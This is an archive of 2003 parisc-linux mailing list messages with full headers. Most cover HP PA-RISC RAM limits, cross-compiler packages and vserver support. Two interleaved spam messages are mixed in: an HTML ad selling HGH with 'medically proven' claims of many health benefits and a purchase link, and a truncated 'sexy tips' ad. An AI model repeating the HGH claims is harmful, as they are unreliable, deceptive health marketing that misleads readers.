List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 09:29:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20438

Hello,
	I'm confused on the maximum RAM sizes systems like e.g.
B132L, C110, C200 can faciliate.

The C110 for example has eight SIMM slots, official HP manuals for
this system state that the maximum amount of RAM is 512MB, ie 8x64MB.
Other documents I found on the web state that this machine maxes out
at 2GB, ie 8x256MB.

There are HP 50/60ns EDO ECC SIMMs which would fit these machines in
sizes up to 256MB easily available to buy.

I suspect at the time of printing of the user/tech manuals, certain SIMM
sizes just weren't available.

So, concluding, does anyone here knows if there is a hard, tested
limit of RAM one can put and use in one of the following models:

 o B1xxL (6 slots),
 o C100/C110 (8 slots),
 o C132L/C160L (12 slots),
 o C160/C180 (12 slots),
 o C200/C240/C360 (12 slots).

Or, better, what would speak against populating all available slots
with 256MB SIMMs?

Thanks.

        - paul

-- 
   zwei jaeger treffen sich. beide tot.


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Maximum RAM sizes on B1xxL, C1xx/C2xx
Date: Fri, 19 Dec 2003 12:15:59 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20031219111557.GA18984@lug-owl.de>
References: <20031219092814.GA1094@blinder.doorslam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3+4H5zObBQkbFbMG"
X-Trace: ger.gmane.org 1416623068 3563 80.91.229.3 (22 Nov 2014 02:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Fri Dec 19 04:16:02 2003
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CAED484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 04:16:02 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 62E4E4B4F9; Fri, 19 Dec 2003 12:16:00 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031219092814.GA1094@blinder.doorslam.net>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 11:16:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20439


--3+4H5zObBQkbFbMG
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2003-12-19 10:28:14 +0100, Paul Weissmann <paul@doorslam.net>
wrote in message <20031219092814.GA1094@blinder.doorslam.net>:

>  o B1xxL (6 slots),

I'm using a B132L+ with 6 * 128MB =3D 768MB

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--3+4H5zObBQkbFbMG
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/4t3tHb1edYOZ4bsRApEnAJwICc25k3HpVC73M057hQkdWXzbJwCeKWFL
98fE1SKluz1SYZXiMtL4awo=
=55S3
-----END PGP SIGNATURE-----

--3+4H5zObBQkbFbMG--


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Fri, 19 Dec 2003 12:17:35 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <F2577FA8-3214-11D8-BAB6-0030656F07A2@esiee.fr>
References: <20031219022800.GA8847@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: text/plain; delsp=yes; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623068 3565 80.91.229.3 (22 Nov 2014 02:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:28 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Herbert Poetzl <herbert@13thfloor.at>
Original-X-From: varenet@esiee.fr  Fri Dec 19 04:17:40 2003
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BAF1484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 04:17:40 -0700 (MST)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4328149BDA; Fri, 19 Dec 2003 12:17:37 +0100 (CET)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.5) id 45475-2B576269;
	Fri, 19 Dec 2003 12:17:36 +0100
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 19AC449BDA; Fri, 19 Dec 2003 12:17:36 +0100 (CET)
In-Reply-To: <20031219022800.GA8847@MAIL.13thfloor.at>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.5; VAE: 6.23.0.1;
	VDF: 6.23.0.14; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 11:17:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20440


Le vendredi, 19 d=E9c 2003, =E0 03:28 Europe/Paris, Herbert Poetzl a =
=E9crit :
>
>> You'll need to grab the gcc-hppa64 compiler from:=09
>>    =20
>> ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3-=20
>> 7.1_hppa.deb
>
> hmm, is there a source available somewhere ...
> (I don't like binary only packages)

If you really want to waste your time in building a cross compiler by =20=

yourself, going through
the various pain of this process, just follow the recipe here:

http://www.fr.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

PS: i know what i'm talking about, regarding pain, i'm the guy who made =20=

that "binary only" package :P=



From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Beulah Barry" <vghyu@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] If ..it's good enough for a president, , , ,
	it's good enough for me!! zylx fr pxwuurehl
Date: Fri, 19 Dec 03 22:33:41 GMT
Lines: 75
Approved: news@gmane.org
Message-ID: <m9b34j98n-lzr0j-d$v7@q70yojw2>
Reply-To: Beulah Barry <vghyu@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="01_DF.DFB2FFFF452"
X-Trace: ger.gmane.org 1416623068 3570 80.91.229.3 (22 Nov 2014 02:24:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:28 +0000 (UTC)
Cc: pmccabe@parisc-linux.org, parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org
Original-X-From: vghyu@msn.com  Fri Dec 19 05:38:03 2003
Return-Path: <vghyu@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8851D484B; Fri, 19 Dec 2003 05:38:03 -0700 (MST)
Original-Received: from ACBF28C3.ipt.aol.com (ACBF28C3.ipt.aol.com [172.191.40.195])
	by cuprel1.hp.com (Postfix) with SMTP
	id 143E6132B; Fri, 19 Dec 2003 04:38:01 -0800 (PST)
Original-Received: from (HELO m5exkgp) [218.108.176.209] by ACBF28C3.ipt.aol.com with
	ESMTP id B19BD40872D; Fri, 19 Dec 2003 22:33:41 -0400
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 12:38:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20441


--01_DF.DFB2FFFF452
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#000000" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">A MEDIC=
ALLY PROVEN FACT:<br>HGH<br>replenishes what TIME has taken away !</font><=
/H4>
  <H5><font color=3D"#FFCC00" face=3D"verdana">Wherever you go<br> you see=
, healthy and 
    vibrant men and women.<br>With their radiant faces, and beautiful skin=
,<br> the thick lustrous hair and their bright shimmering eyes.<br><br>To =
put it simply:<br>
    Time, stress, and aging REDUCE and EXHAUST the naturally occuring horm=
ones 
    within our bodies.<br> The very hormones we need to remain youthful an=
d vibrant.<br>You can now REPLENISH what time has taken from you !<H3><fon=
t color=3D"#FFFFFF" face=3D"verdana">With<br> doctor approved<br>HGH !</fo=
nt></H3>
    Feel Young and Alive !<br>
    Be Sexy and Athletic !<br>Improves mental clarity and thinking abiliti=
es !</font></H5>
</center> 
<center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the daily rou=
tines of:<br>Celebrities, Models, Athletes, Politicians, and  even World L=
eaders !<br>We are so confident of the difference HGH will make in your li=
fe<br> that we offer an exclusive:</font></H5> <H2><font color=3D"#FFFF00"=
 face=3D"verdana">60 day 100% Money-Back Guarantee!</font></H2></center>

<font color=3D"#FFCC00" font size=3D"1" face=3D"verdana">- Increased muscl=
e strength and size. 
- Loss in body fat. 
- Increased bone density. 
- Lower blood pressure 
- Quickens wound healing. 
- Reduces cellulite. 
- Improved vision. 
- Wrinkle disappearance. 
- Increased skin thickness and texture. 
- New hair growth and color restored. 
- Increased energy levels and exercise endurance. 
- Improved sleep and emotional stability. 
- Improved memory and mental alertness. 
- Increased sexual potency and frequency. 
- Resistance to common illness. 
- Strengthened heart muscle. 
- Controlled cholesterol. 
- Controlled mood swings.</font><br>
<center>
  <h1><a href=3D"http:/www.fisha.biz/hgh/?buster">Cli~ick  
    Here<br>
    for your HGH!!</a></h1>
</center>
</body>
</html>
mgaj fyprjhllu hjane  hfgfnz udy

slo 
g b nvszxddy 
hmlj
u vvbzgby eaifbyj nqjhnw
sy

--01_DF.DFB2FFFF452--



From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Fri, 19 Dec 2003 09:11:34 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20031219161134.GA24780__15578.9789664142$1416623069$gmane$org@colo.lackof.org>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
	<20031219020352.GA16266@colo.lackof.org>
	<20031219032455.GB8847@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623069 3572 80.91.229.3 (22 Nov 2014 02:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:29 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Herbert Poetzl <herbert@13thfloor.at>
Original-X-From: grundler@lackof.org  Fri Dec 19 09:11:36 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62916484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 09:11:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8E5A629803A; Fri, 19 Dec 2003 09:11:35 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24733-10; Fri, 19 Dec 2003 09:11:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C0C16298036; Fri, 19 Dec 2003 09:11:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031219032455.GB8847@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 16:11:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20442

On Fri, Dec 19, 2003 at 04:24:56AM +0100, Herbert Poetzl wrote:
...
> sure not, but gettimeofday for example, will
> return the current time, and this usually does
> not need an architecture specific interface

glibc

> (for sure it will require an arch specific
> implementation ;)

possible a different syscall.
Sounds like we agree.

...
> > to test with and enabling the kernel config options, right?
> 
> well, yeah, that is what I did to add the parisc(64)
> vserver support, except that it doesn't have
> a kernel config option yet ;)

That should be part of the patch to enable vserver.

> > BTW, I visited http://www.linux-vserver.org/ and didn't feel
> > I understood why it's more useful than say, user mode linux
> > (another form of virtualization) or vPARs. 
> 
> hmm, for UML you'll need a kernel for each vps,
> which eats up a lot of resources, where vserver
> even allow you to share the files between vps

Has anyone bothered to quantify how much resource?
In general, systems are memory starved, so this sounds
like a good thing.

> regarding vPARs, I didn't know that they work
> for Linux yet, can you give some hints on that?

Several arches are capable of running the OS via a "monitor"
that abstracts the HW (even emulating IO devices depending on
the implementation).  Thus allows several OS instances to run
at the same time.  It's not too different from UML except that
the monitor is "lighter weight" than a Linux kernel host and
can run different OSs (ie not just linux) at the same time.

Search for "vPARs" on www.hp.com if you want more details
on HPUX vPARs support.

grant


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Fri, 19 Dec 2003 18:03:51 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20031219170351.GB16572__13767.8677485839$1416623069$gmane$org@MAIL.13thfloor.at>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
	<20031219020352.GA16266@colo.lackof.org>
	<20031219032455.GB8847@MAIL.13thfloor.at>
	<20031219161134.GA24780@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623069 3577 80.91.229.3 (22 Nov 2014 02:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:29 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: herbert@13thfloor.at  Fri Dec 19 10:03:52 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96722484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 10:03:52 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id BC292510FC8; Fri, 19 Dec 2003 18:03:51 +0100 (CET)
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031219161134.GA24780@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 17:03:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20443

On Fri, Dec 19, 2003 at 09:11:34AM -0700, Grant Grundler wrote:
> On Fri, Dec 19, 2003 at 04:24:56AM +0100, Herbert Poetzl wrote:
> ...
> 
> That should be part of the patch to enable vserver.
> 
> > > BTW, I visited http://www.linux-vserver.org/ and didn't feel
> > > I understood why it's more useful than say, user mode linux
> > > (another form of virtualization) or vPARs. 
> > 
> > hmm, for UML you'll need a kernel for each vps,
> > which eats up a lot of resources, where vserver
> > even allow you to share the files between vps
> 
> Has anyone bothered to quantify how much resource?
> In general, systems are memory starved, so this sounds
> like a good thing.

well, just as a small example, a single CPU
2GHz Pentium machine with 1GB RAM works reasonably
well with 30-40 vservers, each one running sshd, 
apache, php, postfix and mysql ...
 
a dual CPU 1.5GHz machine with 2GB RAM can
provide shelter for about 60-80 vservers, with
good responsiveness ...

a test patch for 2.4.23-pa3 can be found at
http://vserver.13thfloor.at/Stuff/patch-2.4.23-pa3-vs1.22.diff
(tools need some tweaking ...)

> > regarding vPARs, I didn't know that they work
> > for Linux yet, can you give some hints on that?
> 
> Search for "vPARs" on www.hp.com if you want more details
> on HPUX vPARs support.

heard of it for HPUX, and it seems that XEN
is somewhat compareable to that, but that didn't
answer my question: are they available for Linux
or 'just' for HPUX?

TIA,
Herbert

> grant


From - Thu Nov 08 21:30:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Kernel for HP 9000/800/A400-44
Date: Fri, 19 Dec 2003 21:02:36 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20031219200236.GA18747@MAIL.13thfloor.at>
References: <20031219022800.GA8847@MAIL.13thfloor.at>
	<F2577FA8-3214-11D8-BAB6-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623069 3583 80.91.229.3 (22 Nov 2014 02:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:29 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: herbert@13thfloor.at  Fri Dec 19 13:02:37 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9F69484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 13:02:37 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 037D7510FC8; Fri, 19 Dec 2003 21:02:36 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <F2577FA8-3214-11D8-BAB6-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 20:02:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20444

On Fri, Dec 19, 2003 at 12:17:35PM +0100, Thibaut VARNE wrote:
> 
> Le vendredi, 19 dc 2003,  03:28 Europe/Paris, Herbert Poetzl a crit :
> >
> >>You'll need to grab the gcc-hppa64 compiler from:	
> >>    
> >>ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3- 
> >>7.1_hppa.deb
> >
> >hmm, is there a source available somewhere ...
> >(I don't like binary only packages)
> 
> If you really want to waste your time in building a cross 
> compiler by yourself, going through the various pain of 
> this process, just follow the recipe here:

well, what I had in mind was a debian source
package, which can be 'rebuilt' my myself ...

> http://www.fr.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

useful info ... I guess

best,
Herbert

> HTH,
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://www.pateam.org/
> 
> PS: i know what i'm talking about, regarding pain, i'm the guy who made  
> that "binary only" package :P


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Flora Tran" <vghyu@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sexy.. leading men share their tips with you guys
	ydfluvv
Date: Sat, 20 Dec 03 08:47:01 GMT
Lines: 53
Approved: news@gmane.org
Message-ID: <o0$$$$3-2l$$$w1@3703f098l5>
Reply-To: Flora Tran <vghyu@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="E.1.7C22..8D_.82_1029119"
X-Trace: ger.gmane.org 1416623069 3584 80.91.229.3 (22 Nov 2014 02:24:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:29 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@parisc-linux.org
To: pmccabe@parisc-linux.org
Original-X-From: vghyu@msn.com  Fri Dec 19 13:51:23 2003
Return-Path: <vghyu@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-24-8-56-121.client.comcast.net
	(c-24-8-56-121.client.comcast.net [24.8.56.121])
	by dsl2.external.hp.com (Postfix) with SMTP
	id B5C45484B; Fri, 19 Dec 2003 13:51:19 -0700 (MST)
Original-Received: from [183.121.0.84]
	by c-24-8-56-121.client.comcast.net with ESMTP id <118487-04184>;
	Sat, 20 Dec 2003 08:47:01 -0200
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Dec 2003 20:51:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20445


--E.1.7C22..8D_.82_1029119
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Sexy.. leading men share their tips with you guys ydfluvv 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

